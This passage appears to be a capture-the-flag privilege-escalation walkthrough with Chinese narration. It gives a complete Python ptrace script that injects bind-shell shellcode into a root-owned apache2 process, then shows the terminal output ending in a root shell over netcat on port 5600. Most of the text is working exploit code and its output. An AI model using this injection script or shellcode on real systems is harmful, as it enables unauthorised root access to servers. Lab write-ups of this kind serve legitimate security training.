saket@ubuntu:/tmp$ ps -aef | grep '/usr/sbin/apache2 -k start'
ps -aef | grep '/usr/sbin/apache2 -k start'
root         888       1  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     889     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     901     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     903     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     904     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     905     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start
www-data     906     888  0 05:39 ?        00:00:00 /usr/sbin/apache2 -k start
www-data    1352     888  0 05:40 ?        00:00:00 /usr/sbin/apache2 -k start
saket       1439    1361  0 05:53 ?        00:00:00 grep --color=auto /usr/sbin/apache2 -k start

使用漏洞攻擊 python2.7 inject.py 888

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: //github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 
 
import ctypes
import sys
import struct
 
# Macros defined in <sys/ptrace.h>
# //code.woboq.org/qt5/include/sys/ptrace.h.html
 
PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17
 
# Structure defined in <sys/user.h>
# //code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
 
class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]
 
libc = ctypes.CDLL("libc.so.6")
 
pid=int(sys.argv[1])
 
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
 
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
 
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
 
print("Instruction Pointer: " + hex(registers.rip))
 
print("Injecting Shellcode at: " + hex(registers.rip))
 
# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"
 
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
 
  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)
 
  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
 
print("Shellcode Injected!!")
 
# Modify the instuction pointer
registers.rip=registers.rip+2
 
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
 
print("Final Instruction Pointer: " + hex(registers.rip))
 
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
  • 腳本的默認監聽端口是 5600
  • 使用 ss -pantu | grep 5600 確認是否成功
saket@ubuntu:/tmp$ python2.7 inject.py 888
python2.7 inject.py 888
Instruction Pointer: 0x7fddc8b470daL
Injecting Shellcode at: 0x7fddc8b470daL
Shellcode Injected!!
Final Instruction Pointer: 0x7fddc8b470dcL
saket@ubuntu:/tmp$ ss -pantu | grep 5600
ss -pantu | grep 5600
tcp   LISTEN 0      0                      0.0.0.0:5600           0.0.0.0:*                                                          

最後一步,使用 netcat 連接目標的 5600 端口

┌──(kali㉿kali)-[~/workspace]
└─$ nc 192.168.56.118 5600                                                      
id
uid=0(root) gid=0(root) groups=0(root)

結束 GAME OVER